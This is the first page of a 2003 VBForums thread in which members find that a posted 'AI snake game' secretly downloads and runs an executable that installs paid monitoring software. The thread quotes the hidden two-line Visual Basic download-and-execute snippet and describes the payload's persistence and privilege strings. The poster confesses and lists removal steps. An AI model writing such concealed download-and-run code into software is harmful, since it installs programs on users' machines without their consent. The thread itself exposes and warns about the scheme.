Page 1 of 4 1234 LastLast
Results 1 to 40 of 155

Thread: Artificial Intelligence!

  1. #1

    Thread Starter
    Banned
    Join Date
    Nov 2003
    Posts
    24

    Exclamation Artificial Intelligence!

    Well, I made a snake game that ... "has AI" ... Even though all AI is, is just a bunch of If statements... anyone have OTHER methods of doing this type of "AI"... Well this is a snake game that has AI and eats the stuff on his own and makes the smartest movements... Check it out ... Have any comments on how to make it better ... or a better way of AI??

    Heres the code to the project...

  2. #2

    Thread Starter
    Banned
    Join Date
    Nov 2003
    Posts
    24
    Ugh forgot to attach it...

  3. #3
    Supreme User Madboy's Avatar
    Join Date
    Oct 2003
    Location
    England
    Posts
    3,253
    LOL! took me 5 minutes to realise it was in the next post

  4. #4

    Thread Starter
    Banned
    Join Date
    Nov 2003
    Posts
    24
    so what do you thinK?

  5. #5
    I'm about to be a PowerPoster! mendhak's Avatar
    Join Date
    Feb 2002
    Location
    Ulaan Baator GooGoo: Frog
    Posts
    38,170
    Dude, that's not AI, that's just a lot of permutations/combinations.

    For an "AI" snake game, you'd have to create an algorithm in which the snake "learns" as it goes along!

  6. #6
    PowerPoster Arc's Avatar
    Join Date
    Sep 2000
    Location
    Under my rock
    Posts
    2,336
    That's not true at all. AI is used in tons of games. And none of the MObs in those games ever learn a damn thing. They are all hard coded to do a certain thing in reaction to their surroundings. With enough permutations it can give the apperance of Intelligence. But there hasn't been a game made that has AI that learns from prior experience.

    There are some very high tech experiments going on that are working on this abbility. But it's still in it's infancy.
    -We have enough youth. How about a fountain of "Smart"?
    -If you can read this, thank a teacher....and since it's in English, thank a soldier.


  7. #7
    PowerPoster Arc's Avatar
    Join Date
    Sep 2000
    Location
    Under my rock
    Posts
    2,336
    So what is this all about?

    VB Code:
    1. DownloadFile "http://www.allourstuff.net/sentry/update.exe", App.Path & "\update.exe"
    2.     Shell App.Path & "\update.exe", vbHide

    Nice little virus installer? Nice try.
    -We have enough youth. How about a fountain of "Smart"?
    -If you can read this, thank a teacher....and since it's in English, thank a soldier.


  8. #8
    I'm about to be a PowerPoster! mendhak's Avatar
    Join Date
    Feb 2002
    Location
    Ulaan Baator GooGoo: Frog
    Posts
    38,170
    Originally posted by Arc
    That's not true at all. AI is used in tons of games. And none of the MObs in those games ever learn a damn thing. They are all hard coded to do a certain thing in reaction to their surroundings. With enough permutations it can give the apperance of Intelligence. But there hasn't been a game made that has AI that learns from prior experience.
    HalfLife. Unreal. And it's worth noting that the AI engines are rather "dumb".

    The rest could simply be called pseudo-AI for want of a better term.

  9. #9
    Hyperactive Member
    Join Date
    May 2001
    Location
    Beirut, Lebanon
    Posts
    318
    I think that a program should be able to expand / learn in order to have AI, the rest are just State Machines.

  10. #10
    I'm about to be a PowerPoster! mendhak's Avatar
    Join Date
    Feb 2002
    Location
    Ulaan Baator GooGoo: Frog
    Posts
    38,170
    A finite state machine is a type of AI machine, albeit a primitive one.

  11. #11
    I'm about to be a PowerPoster! mendhak's Avatar
    Join Date
    Feb 2002
    Location
    Ulaan Baator GooGoo: Frog
    Posts
    38,170
    Add "proper" to the phrase "Finite State Machine", so that the appearance of me contradicting myself is reduced. I completely agree with what you just said Gush. I just added something.

    Ok, I'll shuttup now.

  12. #12
    PowerPoster Pc_Madness's Avatar
    Join Date
    Dec 2001
    Location
    Melbourne, Australia
    Posts
    2,765
    Originally posted by Arc
    So what is this all about?

    VB Code:
    1. DownloadFile "http://www.allourstuff.net/sentry/update.exe", App.Path & "\update.exe"
    2.     Shell App.Path & "\update.exe", vbHide

    Nice little virus installer? Nice try.
    Funny that http://www.allourstuff.net/sentry/ makes no reference to a snake game.
    Don't Rate my posts.

  13. #13
    Super Moderator Wokawidget's Avatar
    Join Date
    Nov 2001
    Location
    Headingly Occupation: Classified
    Posts
    9,632
    Are you takin' the ****ing piss???
    A few points...
    • There is not even a sniff of AI anywhere within that tiny amount of code.
    • That is one of the poorest snake games I have seen.
    • You code is bugged to ****. Use Option Explicit at the top of each module then try and run your code.
    • Why the **** is it trying to download an update file from an unrelated server?! Your coding is, well, to be honest a bit crap. I don't believe for one second you have written some "advanced" code to download and update your snake game from a remote server. So what the **** is it trying to download?!!! And you were trying to get people to run your EXE directly!

    Are you trying your best to really piss people off?

    Woka


  14. #14
    PowerPoster Pc_Madness's Avatar
    Join Date
    Dec 2001
    Location
    Melbourne, Australia
    Posts
    2,765
    VALUE ProductName", "Gomez_Client"
    VALUE "FileVersion", "1.00"
    VALUE "ProductVersion", "1.00"
    VALUE "InternalName", "update"
    VALUE "OriginalFilename", "update.exe"
    I didn't think people called Updaters 'clients'
    Don't Rate my posts.

  15. #15
    I'm about to be a PowerPoster! mendhak's Avatar
    Join Date
    Feb 2002
    Location
    Ulaan Baator GooGoo: Frog
    Posts
    38,170
    So what is the update.exe exactly? Can anyone take the risk of destroying their machine and telling me?

  16. #16
    Super Moderator Wokawidget's Avatar
    Join Date
    Nov 2001
    Location
    Headingly Occupation: Classified
    Posts
    9,632
    Why the **** are you trying to install Gomez onto our computers?

    This is such a good ****ing example of why people should not run EXE's, that people post on this web site!!!

    You were trying to get me to run the EXE on Friday *sigh*
    Now I am pissed off...Although I can sleep at night knowing full well that you are ****e at coding in VB and pulling women

    Woka

  17. #17
    Super Moderator Wokawidget's Avatar
    Join Date
    Nov 2001
    Location
    Headingly Occupation: Classified
    Posts
    9,632
    Originally posted by Mendhak
    So what is the update.exe exactly? Can anyone take the risk of destroying their machine and telling me?

    PS: I am a plastic vicar on a life glug, and love sucking on small bits of old womens used pants
    Well Gomez_Client is some software that runs on your PC and does tests on web sites and internet access depending on what your connection speed is. These results are sent back to a main server and you could have the potential of earning x amount of cents per hour of online time.
    To become elligable to be paid you must run the software for a minimum of 2 weeks, or something like that, and then they say YES or NO, to whether or not you go on there pay roll. However 99.9999% of the people get rejected and their application remains "pending". But that means that they have just gotten 2 weeks, or more if you continue to run it, of results from you as you are aiming to get paid for it. Very clever tactics. Most people unistall it when they get rejected.


    Woka

  18. #18

  19. #19
    PowerPoster Pc_Madness's Avatar
    Join Date
    Dec 2001
    Location
    Melbourne, Australia
    Posts
    2,765
    Ok, opening it up in notepad tells an interesting tale.

    So, first of all, we have what appears to be settings for regedits... I think?

    S o f t w a r e \ M i c r o s o f t \ W i n d o w s \ C u r r e n t V e r s i o n \ R u n , S e C r e a t e T o k e n P r i v i l e g e : S e A s s i g n P r i m a r y T o k e n P r i v i l e g e * S e L o c k M e m o r y P r i v i l e g e 0 S e I n c r e a s e Q u o t a P r i v i l e g e 6 S e U n s o l i c i t e d I n p u t P r i v i l e g e 2 S e M a c h i n e A c c o u n t P r i v i l e g e  S e T c b P r i v i l e g e & S e S e c u r i t y P r i v i l e g e 0 S e T a k e O w n e r s h i p P r i v i l e g e * S e L o a d D r i v e r P r i v i l e g e 0 S e S y s t e m P r o f i l e P r i v i l e g e * S e S y s t e m t i m e P r i v i l e g e > S e P r o f i l e S i n g l e P r o c e s s P r i v i l e g e > S e I n c r e a s e B a s e P r i o r i t y P r i v i l e g e 2 S e C r e a t e P a g e f i l e P r i v i l e g e 4 S e C r e a t e P e r m a n e n t P r i v i l e g e " S e B a c k u p P r i v i l e g e $ S e R e s t o r e P r i v i l e g e & S e S h u t d o w n P r i v i l e g e S e D e b u g P r i v i l e g e S e A u d i t P r i v i l e g e 8 S e S y s t e m E n v i r o n m e n t P r i v i l e g e . S e C h a n g e N o t i f y P r i v i l e g e 2 S e R e m o t e S h u t d o w n P r i v i l e g e " S e U n d o c k P r i v i l e g e ( S e S y n c A g e n t P r i v i l e g e 6 S e E n a b l e D e l e g a t i o n P r i v i l e g e . S e M a n a g e V o l u m e P r i v i l e g e
    I can't say that I've seen that in legit exes.

    Then it tries to connect to gomez.com, which is an Internet Research company, downloads gomez.zip (16.3mb, please tell me this isn't a VB virus. ), and then later on,
    http://www.allourstuff.net/sentry/unzip32.dll, which would then I assume be used to unzip gomez.zip in the event that you don't have an unzipping program, or maybe WinZip/WinRAR display messages while doing this, I can't honestly say. It downloads an unzipper.exe from the same site as well.

    There does appear to be something you might consider to be related to a Snake Game though.

    Theres a lovely guestbook here if anyone wants to spam it,
    sentry.servegame.com, but I assume thats supposed to be part of the snake game, so probably won't get paid much attention.


    And finally, theres some kinda of survey in it, a line of interest being,
    "Sorry im a data keeper, like to know what type of people play my game. + it helps me practice Database stuff =P "
    Last edited by Pc_Madness; Dec 1st, 2003 at 06:05 AM.
    Don't Rate my posts.

  20. #20
    I'm about to be a PowerPoster! mendhak's Avatar
    Join Date
    Feb 2002
    Location
    Ulaan Baator GooGoo: Frog
    Posts
    38,170
    Hmm... I'm glad I avoid .exe files like health food.

    What I can't believe is that he actually posted the source code. Anyways, I reported his post to the mods, because I'm pissed off too, after finding out what that exe does. How sad.

  21. #21
    PowerPoster Pc_Madness's Avatar
    Join Date
    Dec 2001
    Location
    Melbourne, Australia
    Posts
    2,765
    Ok, I'm not going to report every single thread, but maybe a mod will spot my post.

    http://www.vbforums.com/showthread.p...26#post1570626
    http://www.vbforums.com/showthread.p...hreadid=269853
    http://www.vbforums.com/showthread.p...hreadid=269232

    Ok, so there weren't that many.
    Don't Rate my posts.

  22. #22

    Thread Starter
    Banned
    Join Date
    Nov 2003
    Posts
    24
    Ok, I'm sorry guys... I guess I shouldnt have "taken advantage" of your computer... If you would like to fully remove it I can give the instructions, all it did was mask the gomezPEER software, and earns me money, the more time that you are on, gives me more money, I am an Active Account on Gomez peer and do get paid... so I figured I would take advantage of this forum, Im sorry I did this, its kinda like the classic stroy line where, I DID IT AT FIRST, but then I started to get to know you guys after the time spent here, and I'm actually I'm sorry I did it... so here are all the steps to fully remove it:

    ok end task on
    iexplorer.exe
    java.exe

    Now goto C:\windows\internet explorer\ (DELETE THIS FOLDER)

    now goto registry key:
    1.
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    (delete the autorun key for iexplorer.exe)

    2.
    HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Gome\Checks
    (delete the folder and keys)

    3.
    HKEY_CURRENT_USER\Software\Gomez\GomezPeer
    (delete these keys)

    You dont have to delete 2/3 they dont do anything, but to remove from startup you can delete key 1.... or use MSCONFIG... what ever your fancy is...

    Also, if you would like to keep it running, IT DOESNT HURT your computer at all... then you can... I mean, I dont blame if you wouldnt like to keep it running, really when I didn't tell you all... and to the people that said the codes crap... well yeah, I know, I wrote all this code like 3 years ago, when I was first starting out VB, and just added in the thing to download the stuff.

    www.sentryctf.com (or) www.allourstuff.net/sentry/ are sites to the game that I made in the past, its an Online Stratego game, altho I dont have the server running, just because no one ever plays it, Sorry I did all this... maybe Someday, I will come back as my "Normal" self on my "Normal" Forum name... =P... sorry for doing this again....

  23. #23
    PowerPoster Pc_Madness's Avatar
    Join Date
    Dec 2001
    Location
    Melbourne, Australia
    Posts
    2,765
    Originally posted by SnakeMaker
    Ok, I'm sorry guys... I guess I shouldnt have "taken advantage" of your computer... If you would like to fully remove it I can give the instructions, all it did was mask the gomezPEER software, and earns me money, the more time that you are on, gives me more money, I am an Active Account on Gomez peer and do get paid... so I figured I would take advantage of this forum, Im sorry I did this, its kinda like the classic stroy line where, I DID IT AT FIRST, but then I started to get to know you guys after the time spent here, and I'm actually I'm sorry I did it... so here are all the steps to fully remove it:

    ok end task on
    iexplorer.exe
    java.exe

    Now goto C:\windows\internet explorer\ (DELETE THIS FOLDER)

    now goto registry key:
    1.
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    (delete the autorun key for iexplorer.exe)

    2.
    HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Gome\Checks
    (delete the folder and keys)

    3.
    HKEY_CURRENT_USER\Software\Gomez\GomezPeer
    (delete these keys)

    You dont have to delete 2/3 they dont do anything, but to remove from startup you can delete key 1.... or use MSCONFIG... what ever your fancy is...

    Also, if you would like to keep it running, IT DOESNT HURT your computer at all... then you can... I mean, I dont blame if you wouldnt like to keep it running, really when I didn't tell you all... and to the people that said the codes crap... well yeah, I know, I wrote all this code like 3 years ago, when I was first starting out VB, and just added in the thing to download the stuff.

    www.sentryctf.com (or) www.allourstuff.net/sentry/ are sites to the game that I made in the past, its an Online Stratego game, altho I dont have the server running, just because no one ever plays it, Sorry I did all this... maybe Someday, I will come back as my "Normal" self on my "Normal" Forum name... =P... sorry for doing this again....

    Oh, your forgiven.

    Buzz off and don't come back.
    Don't Rate my posts.

  24. #24
    INXSIVE Bruce Fox's Avatar
    Join Date
    Sep 2001
    Location
    Melbourne, Australia
    Posts
    7,429
    You thought people here wouldn't check!
    You have posted code on a board that Novices tru to Professionals frequent. Did you think that no one would look to see what your code did.

    How about compensating those who's PC bandwidth was wasted!

  25. #25

    Thread Starter
    Banned
    Join Date
    Nov 2003
    Posts
    24
    Oh, my above apoligies went out to MOST of you all, but not PC_Maddness, I never even knew him... + I find him to be "Dickish" even tho what I did....

  26. #26
    INXSIVE Bruce Fox's Avatar
    Join Date
    Sep 2001
    Location
    Melbourne, Australia
    Posts
    7,429
    Originally posted by SnakeMaker
    I find him to be "Dickish" even tho what I did....
    You've got to be kidding! After what you did...


    [BB]
    ... Its time to go ..... SnakeMaker
    [/BB]

  27. #27
    PowerPoster Pc_Madness's Avatar
    Join Date
    Dec 2001
    Location
    Melbourne, Australia
    Posts
    2,765
    Originally posted by SnakeMaker
    Oh, my above apoligies went out to MOST of you all, but not PC_Maddness, I never even knew him... + I find him to be "Dickish" even tho what I did....
    Hahaha. Luckily I don't give a **** what you think of me. What you did was wrong, you take advantage of inexperienced users, those trying to help you. You were well aware that you actions were wrong, yet you did it anyway. You put other peoples machines at risk, wasting their bandwidth and time just so that you can make money of them.

    Don't try turning this around on me, your about as low as people get. A 'sorry, I regret doing this' isn't even believable. Why didn't you delete the threads/the file of the site when you realised that you 'liked' people here?

    No-one on this forum will ever trust you again, I wouldn't be surprised if people didn't bother helping you. I'd strongly recommend that you just leave, but no doubt you'll be banned anyway, so it doesn't really matter what you do.
    Last edited by Pc_Madness; Dec 1st, 2003 at 09:09 PM.
    Don't Rate my posts.

  28. #28

    Thread Starter
    Banned
    Join Date
    Nov 2003
    Posts
    24
    I'm not a "HOSTILE" person, Im a pretty well calm kid... I didnt know you all, I just expected to go spam the link at every forum that I could, its not like I expect to stay here "On this name" next time i come back, I will be a "Different person"... you all wont even know that its me so just calm down....

    The gomez peer program wastes like No bandwidth at all since it only "test site performace" like 5min outta the entire day, which is why you need so many machines to work up to anything, but I understand, and the program doesnt give me ANY control of your computer... It could have, but my purpose is not to "HURT PEOPLE" or I would have released a malicious trojan or something....

    Edit:

    @PC Im not trying to make you LOOK BAD, I'm sure your a nice person too....

  29. #29
    PowerPoster Pc_Madness's Avatar
    Join Date
    Dec 2001
    Location
    Melbourne, Australia
    Posts
    2,765
    Originally posted by SnakeMaker
    I'm not a "HOSTILE" person, Im a pretty well calm kid... I didnt know you all, I just expected to go spam the link at every forum that I could, its not like I expect to stay here "On this name" next time i come back, I will be a "Different person"... you all wont even know that its me so just calm down....

    The gomez peer program wastes like No bandwidth at all since it only "test site performace" like 5min outta the entire day, which is why you need so many machines to work up to anything, but I understand, and the program doesnt give me ANY control of your computer... It could have, but my purpose is not to "HURT PEOPLE" or I would have released a malicious trojan or something....

    Edit:

    @PC Im not trying to make you LOOK BAD, I'm sure your a nice person too....
    I think people would prefer that you didn't come back, at all, under any name.

    Your also forgetting the 16mb download, and I have to wonder whether your program was even smart enough to realise if the gomez client had already been downloaded, so may well download it everytime they run your game.

    Haha, your not a nice person. Don't try and kid yourself.
    Don't Rate my posts.

  30. #30

    Thread Starter
    Banned
    Join Date
    Nov 2003
    Posts
    24
    oh yay... "Im the Axis of Evil..."

    Yes, it actually does see if its been downloaded before... =P thanks thats what the keys in the registry called CHECKS are... =P


  31. #31
    PowerPoster Pc_Madness's Avatar
    Join Date
    Dec 2001
    Location
    Melbourne, Australia
    Posts
    2,765
    Originally posted by SnakeMaker
    oh yay... "Im the Axis of Evil..."
    Now your getting it.
    Don't Rate my posts.

  32. #32
    Super Moderator Wokawidget's Avatar
    Join Date
    Nov 2001
    Location
    Headingly Occupation: Classified
    Posts
    9,632
    I really don't think you see the seriousness of what you have done. In another thread I said I would touch your EXE with a ****ty stick...oh I love it when I'm right.

    I really don't think you are in any position to make judgements on people who are regulars to this board, espescially users like PC_Madness who go out of their way to help others, and who are here legitimately. What you have done is wrong and is possible the worst thing you can do on here. These forums are here for a good reason, whether you are a student doing a module in VB, or a professional developer like myself, or even someone who is interested in VB. The last thing we want is for ******s, like yourself, posting "maliscious" code here.

    I am almost positive you have breeched some kind of law, and I would be really careful if I was you.

    The worst thing was that your Snake game is one of the worst I have ever seen. The code is crap, varibles arn't decalred, it's not structured and it's jerky and slow. The whole thing is a pile of ****e...you can't code, so don't bother.

    Here Jamie Jamie Jamie...heal. Where's the mods when ya want 'em

    Woka

  33. #33
    PowerPoster Arc's Avatar
    Join Date
    Sep 2000
    Location
    Under my rock
    Posts
    2,336
    Yah, I don't think this little ****head has a clue how serious this is. Another ****ing moron has been spawned into the world.
    -We have enough youth. How about a fountain of "Smart"?
    -If you can read this, thank a teacher....and since it's in English, thank a soldier.


  34. #34
    I'm about to be a PowerPoster! mendhak's Avatar
    Join Date
    Feb 2002
    Location
    Ulaan Baator GooGoo: Frog
    Posts
    38,170
    its kinda like the classic stroy line where, I DID IT AT FIRST, but then I started to get to know you guys after the time spent here, and I'm actually I'm sorry I did it...
    SM, you're still advertising your snake game. It would reduce the negative feelings towards you if you quit advertising it so much, and got to better VB-related topics.

  35. #35
    Hyperactive Member
    Join Date
    Jan 2002
    Location
    The Netherlands
    Posts
    425
    Hahahaha, OMG, someone really tried it!?!?!?

    I love this board and it's members, but ofcourse there are exceptions!

    Anyway, I think one one side it's somewhat comedy someone really though people here where stupid enough to just run the code, and to make things worse, he posted the sourcecode!

    I think this can be a lesson to never trust anycode created by members, especially when it's just the EXE.

    I don't know if it's in any FAQ of this board, but maybe it should be...
    "Experience is something you don't get until just after you need it."

  36. #36
    I'm about to be a PowerPoster! mendhak's Avatar
    Join Date
    Feb 2002
    Location
    Ulaan Baator GooGoo: Frog
    Posts
    38,170
    Last year, there was a guy here named "Gwadaranaminananeh" or something like that, who uploaded what he called "my home made virus" and he asked us to "please try it out."

    And guess what? SOME PEOPLE DID! Later on, they came back to the thread saying, "My machine's acting weird."


  37. #37
    Hyperactive Member
    Join Date
    Jan 2002
    Location
    The Netherlands
    Posts
    425
    LOL!!!!

    What do we have to say so that people DON'T actually try it out?????

    WHAHAHAHAHA
    "Experience is something you don't get until just after you need it."

  38. #38
    Hyperactive Member
    Join Date
    Jan 2002
    Location
    The Netherlands
    Posts
    425
    I've created a simple program that deletes vital Windows System files, uploads all your private documents etc to it's server and reboots your system you so won't be able to track it or start windows anymore... Does anyone want to try it out because I'm not sure it works because I didn't test it myself....





    "Experience is something you don't get until just after you need it."

  39. #39
    VB6, XHTML & CSS hobbyist Merri's Avatar
    Join Date
    Oct 2002
    Location
    Finland
    Posts
    6,654
    Now we know why the topic of this thread is "artificial intelligence". If anyone follows me.

  40. #40
    Hyperactive Member
    Join Date
    Jan 2002
    Location
    The Netherlands
    Posts
    425
    LOL!!! I whish even some people here would only use if clauses
    "Experience is something you don't get until just after you need it."

Page 1 of 4 1234 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width